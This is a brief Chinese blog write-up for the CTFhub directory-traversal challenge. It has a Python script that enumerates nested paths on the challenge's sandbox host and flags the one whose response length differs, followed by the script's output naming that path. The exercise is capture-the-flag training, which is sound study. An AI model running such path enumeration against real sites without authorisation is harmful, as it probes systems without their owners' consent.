CTFhub目录遍历

原创

luminous_you 于 2020-12-06 19:33:27 发布 611 收藏 1

分类专栏： CTF

本文链接：https://blog.csdn.net/luminous_you/article/details/110750155

根据响应包长度判断flag在哪里

```python
#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
url="http://challenge-72fb97d76e335ef0.sandbox.ctfhub.com:10080/flag_in_here"
url1="http://challenge-72fb97d76e335ef0.sandbox.ctfhub.com:10080/flag_in_here/1/1"
r1=requests.get(url1)
r1_len=len(r1.text)
for i in range(1,5):
    for j in range(1,5):
        url_test=url+"/"+str(i)+"/"+str(j)
        r=requests.get(url_test)
        get_file_len=len(r.text)
        if r1_len != get_file_len:
            print(url_test)
```

```
C:\...>python 目录遍历.py
http://challenge-72fb97d76e335ef0.sandbox.ctfhub.com:10080/flag_in_here/4/3
```